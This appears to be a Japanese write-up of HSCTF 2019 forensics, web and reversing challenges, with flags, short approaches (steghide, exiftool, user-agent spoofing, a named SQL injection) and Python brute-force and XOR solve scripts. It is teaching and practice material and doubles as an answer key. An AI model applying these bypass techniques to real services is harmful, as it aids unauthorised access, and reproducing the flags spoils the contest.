𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖.

hsctf{utf8_for_the_win}

Forensics

Chicken Crossing [52pts, 672solves]

Keith is watching chickens cross a road in his grandfather’s farm. He once heard from his grandfather that there was something significant about this behavior, but he can’t figure out why. Help Keith discover what the chickens are doing from this seemingly simple behavior.

アプローチ：strings

> strings hsctf-chicken_crossing.jpg | tail
z[<5
g%OrE
VHH@P
.=8v
GQ'MB

hg4
Nqsd,
eU2J
%GeW*X
hsctf{2_get_2_the_other_side}

hsctf{2_get_2_the_other_side}

Cool Image [101pts, 715solves]

My friend told me he found a really cool image, but I couldn't open it. Can you help me access the image?

cool.pdf

> file cool.pdf
cool.pdf: PNG image data, 1326 x 89, 8-bit/color RGBA, non-interlaced

アプローチ：拡張子

> cp cool.pdf cool.png

hsctf{who_uses_extensions_anyways}

Cool Image 2 [105pts, 586solves]

My friend sent me this image, but I can't open it. Can you help me open the image?

cool.png

> file cool.png
cool.png: data

アプローチ：foremost

> strings cool.png | head
I found this cool file. Its really cool!
IHDR
gAMA
bKGD
pHYs
tIME
IDATx
W(.mi
f7k#
f7$H

ヘッダに余計なデータが追加されているのでforemostでpngを抽出します．

hsctf{sorry_about_the_extra_bytes}

Slap [107pts, 548solves]

Don't get slapped too hard.

slap.jpg

> file slap.jpg
slap.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=0], progressive, precision 8, 285x200, frames 3

アプローチ：Exif

> exiftool slap.jpg
[snip]
Location Shown Country Name     : Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut la bore et dolore magna aliqua. Massa id neque aliquam vestibulum morbi blandit cursu hsctf{twoslapsnonetforce} s risus. Sed viverra ipsum nunc aliquet bibendum. Nisl purus in mollis nunc sed. Risus commodo viverra maecenas accumsan lacus vel facilisis volutpat. Magna eget est lorem ipsum dolor sit amet consectetur. Euismod in pellentesque massa placerat. Condimentum vitae sapien pellentesque habitant morbi. Cras sed felis eget velit aliquet sagittis id consectetur. Urna condimentum mattis pellentesque id nibh tortor. Odio aenean sed adipiscing diam donec adipiscing tristique risus nec. Faucibus nisl tincidunt eget nullam non nisi est sit amet. Enim nunc faucibus a pellentesque. Augue eget arcu dictum varius duis at consectetur. Morbi quis commodo odio aenean. Curabitur vitae nunc sed velit dignissim sodales ut. Id venenatis a condimentum vitae sapien pellentesque habitant. Erat nam at lectus urna duis.
[snip]

hsctf{twoslapsnonetforce}

Logo Sucks Bad [163pts, 326solves]

This logo sucks bad.

> file logo.png
logo.png: PNG image data, 767 x 400, 8-bit/color RGBA, non-interlaced

アプローチ：LSB

Least Significant Bitっぽいなと思ったのでオンラインツールでデコードします．

stylesuxx.github.io

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis non velit rutrum, porttitor est a, porttitor nisi. Aliquam placerat nibh ut diam faucibus, ut auctor felis sodales. Suspendisse egestas tempus libero, efficitur finibus orci congue sit amet. Sed accumsan mi sit amet porttitor pellentesque. Morbi et porta lacus. Nulla ligula justo, pulvinar imperdiet porta quis, accumsan et massa. In viverra varius eleifend. Ut congue feugiat leo a ultrices.

Ut risus ipsum, dictum id euismod nec, mattis eu dolor. In aliquam viverra congue. Mauris lacinia lectus quis erat porttitor, vitae iaculis mauris ultrices. Donec quis imperdiet mi, et fermentum purus. Mauris rhoncus sit amet ex quis gravida. In tempor, libero vel finibus tristique, velit est vestibulum est, non semper leo mauris vel enim. Nulla non orci pharetra, bibendum quam a, pharetra felis. Morbi tincidunt, mauris nec aliquam maximus, eros justo rutrum odio, in dapibus sem arcu blandit nunc. Mauris dapibus sem lorem, quis lacinia nunc consectetur pulvinar. Donec sapien erat, pulvinar non fermentum tempor, auctor pellentesque tortor.

Suspendisse id vehicula enim. Cras ut enim sollicitudin, aliquam mauris eget, vehicula arcu. Morbi convallis sed nulla et pellentesque. Cras risus justo, fermentum eget ex ac, dictum dignissim magna. Nullam nec velit vel nulla varius gravida. Aliquam ac lorem tempor, venenatis nibh sed, ultricies urna. In fringilla hendrerit purus, tristique aliquam ipsum molestie vitae. Sed efficitur auctor lacus ac luctus.

Donec id viverra augue. Vivamus nullhsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}a neque, iaculis quis urna eget, gravida commodo quam. Vestibulum porttitor justo in suscipit rutrum. Sed id tristique ipsum. Nulla vel porta nisl. Quisque leo quam, placerat id neque eu, ullamcorper facilisis lacus. Maecenas magna eros, sollicitudin id est a, fermentum elementum leo. Vestibulum porttitor urna eget bibendum interdum. Mauris eget consequat est. Aenean hendrerit eleifend finibus. Sed eu luctus nulla, non tristique nunc. Cras aliquet vehicula tincidunt. Maecenas nec semper ipsum.

Proin pulvinar lacus id malesuada bibendum. Mauris ac sapien eros. Sed non neque id ante porta finibus eget eget enim. Pellentesque placerat, neque sit amet dictum eleifend, tortor dolor porttitor ex, in vestibulum lacus tortor id purus. Phasellus varius nulla sed magna finibus aliquet. Proin eros metus, sodales vel enim eu, imperdiet pulvinar erat. Nunc quis iaculis dui. In cursus a urna in dapibus. Sed eu elementum quam. Vivamus ornare convallis leo sed mollis. Aenean sit amet nulla vel leo cursus dictum ac nec sem. Morbi nec ultrices felis.

hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}

Fish [228pts, 225solves]

I got a weird image from some fish. What is this?

> file fish.jpg
fish.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 657x429, frames 3

アプローチ：Steghide

> strings fish.jpg | head
JFIF
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
ah{KEF
4-VK=uofr
<&mQT
RHDR
EbYx
?SBW

> strings fish.jpg | tail
~v>/|H
 n
  G
Oh C
:UgJ\
<ey

$:$1
O'#Z
QU$K
B5%Go
bobross63

headがsteganographyっぽいかつtailがpasswordっぽいなと思ったのでSteghideで埋め込まれたファイルを抽出します．

> steghide info fish.jpg 
"fish.jpg":
  format: jpeg
  capacity: 2.3 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: bobross63
  embedded file "flag.txt":
    size: 60.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

> cat flag.txt
hsctf{fishy_fishy_fishy_fishy_fishy_fishy_fishy123123123123}

hsctf{fishy_fishy_fishy_fishy_fishy_fishy_fishy123123123123}

Web

Inspect Me [51pts, 984solves]

Keith's little brother messed up some things...

https://inspect-me.web.chal.hsctf.com

アプローチ：ソースコードを表示

<!-- The first part of the flag is: hsctf{that_was_ -->

/* The second part of the flag is: pretty_easy_ */

// The last part of the flag is: right}

hsctf{that_was_pretty_easy_right}

Agent Keith [101pts, 748solves]

Keith was looking at some old browsers and made a site to hold his flag.

https://agent-keith.web.chal.hsctf.com

アプローチ：UAを変更する

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
        <title>agent-keith</title>
        <link rel="stylesheet" href="http://localhost:8002/static/style.css">
    </head>
    <body>
        <main>
            <h2>If you're not Keith, you won't get the flag!</h2>
            <p><b>Your agent is:</b> Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36</p>
            <p><b>Flag:</b> Access Denied</p>
            <!-- DEBUG (remove me!!): NCSA_Mosaic/2.0 (Windows 3.1) -->
        </main>
    </body>
</html>

ソースコードを見てみると怪しいコメントがあるのでUAをNCSA_Mosaic/2.0 (Windows 3.1)に変更します．

hsctf{wow_you_are_agent_keith_now}

S-Q-L [101pts, 753solves]

Keith keeps trying to keep his flag safe. This time, he used a database and some PHP.

https://s-q-l.web.chal.hsctf.com/

アプローチ：普通のSQLi

hsctf{mysql_real_escape_string}

The Quest [102pts, 678solves]

You think you are worthy of obtaining the flag? Try your hand at The Quest to Obtain the Flag.

アプローチ：wget

パスワード入力しろと言われてもそんなの知らないのでgoogle docsをまるごと落としてflagをgrepします．

> grep 'hsctf' 7pyAWuG3GvYL443NA
,["The flag is: hsctf{google_forms_regex_cant_stop_nobody}",0,0,0,0]

hsctf{google_forms_regex_cant_stop_nobody}

Rev

A Byte [176pts, 304solves]

Just one byte makes all the difference.

> file a-byte
a-byte: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=88fe0ee8aed1a070d6555c7e9866e364a40f686c, stripped

アプローチ：XOR

idaで開くとコマンドライン引数として入力した文字列と1でXORをとっていることが分かります．
そのため，最終的に比較している文字列と1のXORをとってあげればflagになります．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

xor_list = [0x69, 0x72, 0x62, 0x75, 0x67, 0x7a, 0x76, 0x31, 0x76, 0x5e, 0x78, 0x31, 0x74, 0x5e, 0x6a, 0x6f, 0x31, 0x76, 0x5e, 0x65, 0x35, 0x5e, 0x76, 0x40, 0x32, 0x5e, 0x39, 0x69, 0x33, 0x63, 0x40, 0x31, 0x33, 0x38, 0x7c]

flag = [chr(x ^ 1) for x in xor_list]
print(''.join(flag))

hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}

License [247pts, 209solves]

Description: Keith made a cool license-checking program but he forgot the flag he used to create the key!
To make matters worse, he lost the source code and stripped the binary for his license-generator program. Can you help Keith recover his flag? All he knows is:
- The license key is 4-EZF2M-7O5F4-V9P7O-EVFDP-E4VDO-O
- He put his name (in the form of 'k3ith') as the first part of the flag
- There are 3 underscores
- The flag is in the format hsctf{}
- The flag doesn't have random character sequences (you should be able to read the entire flag easily).
- The flag only contains lowercase English letters and numbers.
- The generator might produce the same keys for different inputs because Keith was too lazy to write the algorithm properly.

file license 
license: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=0b2a304e3f74d57a373e2af60b7e076a556f4874, stripped

アプローチ：全探索

> ./license 
gimme dat string: CawaYui
generating key for: cawayui
Z-XIXKG-5

./license 
gimme dat string: hsctf{
generating key for: hsctf{
4-EZF2M

./license 
gimme dat string: hsctf{k3ith_
generating key for: hsctf{k3ith_
4-EZF2M-7O5F4-V

上記の結果から正しい文字列(flag)を入力すれば4-EZF2M-7O5F4-V9P7O-EVFDP-E4VDO-Oと部分的に一致するkeyが生成されることが分かります．
そのため，flagの全探索が可能です．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import subprocess
import string

license = '4-EZF2M-7O5F4-V9P7O-EVFDP-E4VDO-O'
flag = 'hsctf{k3ith_'
search_range = string.ascii_lowercase + string.digits + '_'

for _ in range(14):
    for s in search_range:
        res = subprocess.check_output('printf "{}" | ./license'.format(flag + s), shell=True)
        key = res.decode('utf-8').split('\n')[1]
        if key in license:
            flag += s
            print(flag)
            break

> python solve.py 
hsctf{k3ith_m
hsctf{k3ith_m4
hsctf{k3ith_m4k
hsctf{k3ith_m4k3
hsctf{k3ith_m4k3s
hsctf{k3ith_m4k3s_
hsctf{k3ith_m4k3s_t
hsctf{k3ith_m4k3s_tr
hsctf{k3ith_m4k3s_tr4
hsctf{k3ith_m4k3s_tr4s
hsctf{k3ith_m4k3s_tr4sh
hsctf{k3ith_m4k3s_tr4sh_
hsctf{k3ith_m4k3s_tr4sh_r
hsctf{k3ith_m4k3s_tr4sh_r3

hsctf{k3ith_m4k3s_tr4sh_r3}

flag長はlicense長から推測できるのでReversingしなくても解けます（は？

DaHeck [291pts, 165solves]

Unicode? ...da heck?

DaHeck.java

public class DaHeck {
    private static boolean check_flag(String s) {
        char[] cs = s.toCharArray();
        char[] daheck = new char[cs.length];
        int n = cs.length ^ daheck.length;
        System.out.println(n);
        char[] heck = "001002939948347799120432047441372907443274204020958757273".toCharArray();

        while (true) {

            try {
                if (heck[n] - cs[n % cs.length] < 0) daheck[n] = (char) (heck[n] - cs[n % cs.length] % 128);
                else daheck[n] = (char) (heck[n] - cs[n % cs.length] % 255);

                n++;
            } catch (Throwable t) {
                break;
            }
        }

        return "\uffc8\uffbd\uffce\uffbc\uffca\uffb7\uffc5\uffcb\u0005\uffc5\uffd5\uffc1\uffff\uffc1\uffd8\uffd1\uffc4\uffcb\u0010\uffd3\uffc4\u0001\uffbf\uffbf\uffd1\uffc0\uffc5\uffbb\uffd5\uffbe\u0003\uffca\uffff\uffda\uffc3\u0007\uffc2\u0001\uffd4\uffc0\u0004\uffbe\uffff\uffbe\uffc1\ufffd\uffb5".equals(new String(daheck));
    }

    public static void main(String... args) {
        if (args.length != 1) {
            System.out.println(":thonk:");
            System.exit(1);
        }

        if (check_flag(args[0])) System.out.println("Huh. How'd you know?");
        else System.out.println("Da heck? No.");
    }
}

アプローチ：asciiとそれ以外で場合分け

DaHeck.java を読むとあまり意味のないencodeをしていることが分かります(%128, %255って意味あるの？)．
そのため，decodeは基本的にheckで生じた差分を解消してあげれば上手くいきます．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

encode_flag = '\uffc8\uffbd\uffce\uffbc\uffca\uffb7\uffc5\uffcb\u0005\uffc5\uffd5\uffc1\uffff\uffc1\uffd8\uffd1\uffc4\uffcb\u0010\uffd3\uffc4\u0001\uffbf\uffbf\uffd1\uffc0\uffc5\uffbb\uffd5\uffbe\u0003\uffca\uffff\uffda\uffc3\u0007\uffc2\u0001\uffd4\uffc0\u0004\uffbe\uffff\uffbe\uffc1\ufffd\uffb5'
heck = '001002939948347799120432047441372907443274204020958757273'

flag = ''

for i in range(len(encode_flag)):
    if ord(encode_flag[i]) < 128:
        flag += chr(ord(heck[i]) - ord(encode_flag[i]))
    else:
        flag += chr(-ord(encode_flag[i]) % 0x10000 + ord(heck[i]))

print(flag)

hsctf{th4t_w4s_fun!_l3ts_try_s0m3_m0r3_r3v3rs3}

VirtualJava [354pts, 111solves]

There's nothing like executing my own code in Java in my own special way.

VirtualJava.java

public class VirtualJava {
    private static final String[] owo = {"ur too pro for this", "Hmmmm... I don't think so ;D"};
    private int[] regs;
    private int[] stack;
    private int sp;
    private int ip;
    private boolean running;
    private int[] instructions;

    private VirtualJava(int[] instructions) {
        this.regs = new int[10];
        this.stack = new int[10];
        this.sp = 0;
        this.ip = 0;
        this.running = true;
        this.instructions = instructions;
    }

    private void push(int n) {
        this.stack[this.sp++] = n;
    }

    private int pop() {
        return this.stack[--this.sp];
    }

    private int run(int... params) {
        if (params != null) for (int i = 0; i < params.length; i++) this.regs[i] = params[i];
        while (this.running) {
            int opc = readByte();
            int opn = readByte();
            switch (opc) {
                case 0x0:
                    push(pop() + pop());
                    break;
                case 0x1: {
                    int y = pop();
                    int x = pop();
                    push(x - y);
                    break;
                }
                case 0x2:
                    push(pop() * pop());
                    break;
                case 0x3:
                    int y = pop();
                    int x = pop();
                    push(x / y);
                    break;
                case 0x4:
                    if (pop() == 0) this.ip = opn;
                    break;
                case 0x5:
                    if (pop() != 0) this.ip = opn;
                    break;
                case 0x6:
                    push(opn);
                    break;
                case 0x7:
                    push(pop() & pop());
                    break;
                case 0x8:
                    push(pop() | pop());
                    break;
                case 0x9:
                    push(pop() ^ pop());
                    break;
                case 0xa:
                    int a = pop();
                    push(a);
                    push(a);
                    break;
                case 0xb:
                    push(this.regs[opn]);
                    break;
                case 0xc:
                    this.running = false;
                    break;
            }
        }
        this.running = true;
        return this.stack[--this.sp];
    }

    private int readByte() {
        return this.instructions[this.ip++] & 0xFF;
    }

    private static String getOutput(int n) {
        return n == 0 ? owo[n] : owo[1];
    }

    public static void main(String... args) {
        if (args.length != 1 || args[0].toCharArray().length != 31) {
            System.out.println(getOutput(1));
            System.exit(0);
        }
        VirtualJava java = new VirtualJava(new int[]{0xb, 0x0, 0x6, 0x0, 0x1, 0x64, 0x5, 0x14, 0xb, 0x1, 0x6,
                0x65, 0x9, -0xf3, 0x6, 0xd, 0x1, -0xdd, 0xc, -0x70, 0xb, 0x0, 0x6, 0x1, 0x1, -0xed, 0x5, 0x28,
                0xb, 0x1, 0x6, -0xee, 0x9, 0x89, 0x6, -0x9f, 0x1, -0xc5, 0xc, 0xd8, 0xb, 0x0, 0x6, 0x2, 0x1,
                0xe, 0x5, 0x3c, 0xb, 0x1, 0x6, -0x7d, 0x9, 0xb8, 0x6, -0x20, 0x1, 0x50, 0xc, -0x9f, 0xb, 0x0,
                0x6, 0x3, 0x1, 0x23, 0x5, 0x50, 0xb, 0x1, 0x6, -0x48, 0x9, -0xc0, 0x6, -0x34, 0x1, -0x52, 0xc,
                -0x6c, 0xb, 0x0, 0x6, 0x4, 0x1, -0xb7, 0x5, 0x64, 0xb, 0x1, 0x6, 0x73, 0x9, 0x6d, 0x6, 0x15,
                0x1, -0x48, 0xc, -0x5e, 0xb, 0x0, 0x6, 0x5, 0x1, 0xe, 0x5, 0x78, 0xb, 0x1, 0x6, 0x7, 0x9,
                -0x3e, 0x6, 0x7c, 0x1, 0x98, 0xc, 0x7a, 0xb, 0x0, 0x6, 0x6, 0x1, -0xa3, 0x5, 0x8c, 0xb,
                0x1, 0x6, -0x22, 0x9, 0x4, 0x6, -0x59, 0x1, -0xda, 0xc, -0x47, 0xb, 0x0, 0x6, 0x7, 0x1,
                -0xc6, 0x5, 0xa0, 0xb, 0x1, 0x6, 0x2c, 0x9, -0xee, 0x6, 0x1c, 0x1, -0x8e, 0xc, -0x90, 0xb,
                0x0, 0x6, 0x8, 0x1, -0x6f, 0x5, 0xb4, 0xb, 0x1, 0x6, -0x63, 0x9, -0x4a, 0x6, -0x18, 0x1, 0x3c,
                0xc, 0x9b, 0xb, 0x0, 0x6, 0x9, 0x1, -0x89, 0x5, 0xc8, 0xb, 0x1, 0x6, 0x93, 0x9, 0x3f, 0x6, 0xcc,
                0x1, -0xd7, 0xc, -0x61, 0xb, 0x0, 0x6, 0xa, 0x1, 0x7f, 0x5, 0xdc, 0xb, 0x1, 0x6, 0x5b, 0x9, 0x27,
                0x6, 0x3f, 0x1, 0xc2, 0xc, -0x5c, 0xb, 0x0, 0x6, 0xb, 0x1, -0x29, 0x5, 0xf0, 0xb, 0x1, 0x6,
                0x2e, 0x9, 0xf8, 0x6, 0x1d, 0x1, 0xae, 0xc, -0xb6, 0xb, 0x0, 0x6, 0xc, 0x1, 0x7a, 0x5, 0x104,
                0xb, 0x1, 0x6, 0x30, 0x9, -0xb8, 0x6, 0x56, 0x1, 0xed, 0xc, -0x23, 0xb, 0x0, 0x6, 0xd, 0x1,
                0xee, 0x5, 0x118, 0xb, 0x1, 0x6, -0x52, 0x9, -0x72, 0x6, -0x63, 0x1, 0xcf, 0xc, -0xae, 0xb,
                0x0, 0x6, 0xe, 0x1, 0x4d, 0x5, 0x12c, 0xb, 0x1, 0x6, -0xae, 0x9, 0xc8, 0x6, -0x9a, 0x1, -0xc8,
                0xc, -0xc3, 0xb, 0x0, 0x6, 0xf, 0x1, 0x1, 0x5, 0x140, 0xb, 0x1, 0x6, -0xae, 0x9, -0xc8, 0x6,
                -0xda, 0x1, 0xdb, 0xc, 0xc3, 0xb, 0x0, 0x6, 0x10, 0x1, 0xf6, 0x5, 0x154, 0xb, 0x1, 0x6, 0x3d,
                0x9, -0x48, 0x6, 0xe, 0x1, 0xea, 0xc, 0xda, 0xb, 0x0, 0x6, 0x11, 0x1, 0x5e, 0x5, 0x168, 0xb,
                0x1, 0x6, -0x10, 0x9, 0xcc, 0x6, -0x6c, 0x1, 0x1d, 0xc, -0x4c, 0xb, 0x0, 0x6, 0x12, 0x1, 0x5b,
                0x5, 0x17c, 0xb, 0x1, 0x6, 0xd3, 0x9, -0xfa, 0x6, 0x8c, 0x1, 0x6a, 0xc, -0x9e, 0xb, 0x0, 0x6,
                0x13, 0x1, 0x7d, 0x5, 0x190, 0xb, 0x1, 0x6, -0x22, 0x9, -0x6b, 0x6, -0x56, 0x1, -0xc6, 0xc,
                0xba, 0xb, 0x0, 0x6, 0x14, 0x1, -0x45, 0x5, 0x1a4, 0xb, 0x1, 0x6, -0xe8, 0x9, 0x69, 0x6, -0x90,
                0x1, 0x44, 0xc, 0x29, 0xb, 0x0, 0x6, 0x15, 0x1, -0x3c, 0x5, 0x1b8, 0xb, 0x1, 0x6, -0x8e, 0x9,
                0xa, 0x6, -0xbf, 0x1, 0xaf, 0xc, 0x38, 0xb, 0x0, 0x6, 0x16, 0x1, 0x5d, 0x5, 0x1cc, 0xb, 0x1,
                0x6, -0x93, 0x9, -0x62, 0x6, -0xce, 0x1, -0x20, 0xc, 0x2f, 0xb, 0x0, 0x6, 0x17, 0x1, -0x8a,
                0x5, 0x1e0, 0xb, 0x1, 0x6, 0x11, 0x9, 0xeb, 0x6, 0x73, 0x1, -0xc1, 0xc, 0x4e, 0xb, 0x0, 0x6,
                0x18, 0x1, 0x9b, 0x5, 0x1f4, 0xb, 0x1, 0x6, -0x7a, 0x9, 0x59, 0x6, -0x4e, 0x1, 0xc, 0xc,
                -0x5f, 0xb, 0x0, 0x6, 0x19, 0x1, -0xf6, 0x5, 0x208, 0xb, 0x1, 0x6, 0x93, 0x9, 0x76, 0x6,
                0xf1, 0x1, -0x74, 0xc, 0xfb, 0xb, 0x0, 0x6, 0x1a, 0x1, 0xdb, 0x5, 0x21c, 0xb, 0x1, 0x6,
                0x77, 0x9, -0x69, 0x6, 0xe, 0x1, 0x14, 0xc, -0x81, 0xb, 0x0, 0x6, 0x1b, 0x1, -0xfa, 0x5,
                0x230, 0xb, 0x1, 0x6, 0xdf, 0x9, -0x4b, 0x6, 0x80, 0x1, -0xc9, 0xc, -0xc8, 0xb, 0x0, 0x6, 0x1c,
                0x1, -0xbd, 0x5, 0x244, 0xb, 0x1, 0x6, 0xd6, 0x9, 0x47, 0x6, 0xa0, 0x1, 0xb9, 0xc, 0xb5, 0xb,
                0x0, 0x6, 0x1d, 0x1, 0xe2, 0x5, 0x258, 0xb, 0x1, 0x6, -0x50, 0x9, -0xe0, 0x6, -0x23, 0x1, 0xfa,
                0xc, 0xb8, 0xb, 0x0, 0x6, 0x1e, 0x1, 0xd6, 0x5, 0x26c, 0xb, 0x1, 0x6, 0x7e, 0x9, 0xf4, 0x6,
                0x3, 0x1, -0xec, 0xc, 0xf5, 0x6, 0x88, 0xc, 0xae,});
        char[] c = args[0].toCharArray();
        for (int i = 0; i < c.length; i++) {
            String s = getOutput(Math.abs(java.run(i, (int) c[i])));
            if (s.equals(owo[1])) {
                System.out.println(s);
                System.exit(0);
            }
        }
        System.out.println(getOutput(Math.abs(java.run(0, (int) c[0]) % 2)));
    }
}

アプローチ：コード書き換えて全探索

そのまま実行すると以下のようになります(入力文字列が31文字でないと判定処理まで行かないので*でパディング)．

> java VirtualJava "hsctf{*************************"
Hmmmm... I don't think so ;D

次に下記の処理(入力文字列が間違えていたら結果を表示して終了)を

for (int i = 0; i < c.length; i++) {
    String s = getOutput(Math.abs(java.run(i, (int) c[i])));
    if (s.equals(owo[1])) {
        System.out.println(s);
        System.exit(0);
    }
}

下記(文字毎に結果を表示する)のように書き換えます．

for (int i = 0; i < c.length; i++) {
    String s = getOutput(Math.abs(java.run(i, (int) c[i])));
    System.out.println(s);
    if (s.equals(owo[1])) {
        // System.out.println(s);
        System.exit(0);
    }
}

これで何文字目まで一致しているのか分かるようになります．

> java VirtualJava "hsctf{*************************"
ur too pro for this
ur too pro for this
ur too pro for this
ur too pro for this
ur too pro for this
ur too pro for this
Hmmmm... I don't think so ;D

あとは全探索するだけです．

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import subprocess
import string

count = 6
flag = 'hsctf{'
search_range = string.ascii_letters + string.digits + '{}_!@'

for _ in range(25):
    for s in search_range:
        res = subprocess.check_output('java VirtualJava {}'.format(flag + s + '*' * (31-len(flag+s))), shell=True)
        hit_number = len(res.decode('utf-8').split('\n'))
        if hit_number == count + 3:
            count += 1
            flag += s
            print(flag)
            break

> python solve.py
hsctf{y
hsctf{y0
hsctf{y0u
hsctf{y0u_
hsctf{y0u_d
hsctf{y0u_d3
hsctf{y0u_d3f
hsctf{y0u_d3f3
hsctf{y0u_d3f34
hsctf{y0u_d3f34t
hsctf{y0u_d3f34t3
hsctf{y0u_d3f34t3d
hsctf{y0u_d3f34t3d_
hsctf{y0u_d3f34t3d_t
hsctf{y0u_d3f34t3d_th
hsctf{y0u_d3f34t3d_th3
hsctf{y0u_d3f34t3d_th3_
hsctf{y0u_d3f34t3d_th3_b
hsctf{y0u_d3f34t3d_th3_b4
hsctf{y0u_d3f34t3d_th3_b4b
hsctf{y0u_d3f34t3d_th3_b4by
hsctf{y0u_d3f34t3d_th3_b4by_
hsctf{y0u_d3f34t3d_th3_b4by_v
hsctf{y0u_d3f34t3d_th3_b4by_vm
hsctf{y0u_d3f34t3d_th3_b4by_vm}

hsctf{y0u_d3f34t3d_th3_b4by_vm}

想定解法とは異なると思いますが非想定解法でゴリ押しするのもCTFの醍醐味の1つなのでセーフです（は？

I Thought Trig Was Really Easy [374pts, 95solves]

After finishing a hard lesson in geometry class, Keith decided that he wanted to put your understanding of trig and python to the test. Can you solve his challenge?

trig_is_really_hard.py

import math

def nice_math(x, y):
    return round(x + y*math.cos(math.pi * x))

lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))

def get_number(char):
    return ord(char) - 96

inp = input("Enter the text: ")

out = []
for i in range(0, len(inp)):
    for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1):
        out.append(nice_math(j, i + 1))

ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10,
            3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3,
            10, -1, 12, 10, 7, -6, 9, -4, 11, -2,
            13, -2, -11, 6, -9, 8, -7, 10, -5, 12,
            1, -12, 7, -10, 9, -8, 11, -6, 13, -4,
            11, 6, -13, 8, -11, 10, -9, 12, -7, 14,
            -5, 22, -16, 7, -14, 9, -12, 11, -10, 13,
            -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8,
            -15, 10, -13, 12, -11, 5]
if (out == ans):
    print("That is correct! Flag: hsctf{" + inp + "}")
else:
    print("Nope sorry, try again!")

print('inp: {}'.format(inp))
print('out: {}'.format(out))

アプローチ：全探索

> python trig_is_really_hard.py
Enter the text: CawaYui
Nope sorry, try again!
inp: CawaYui
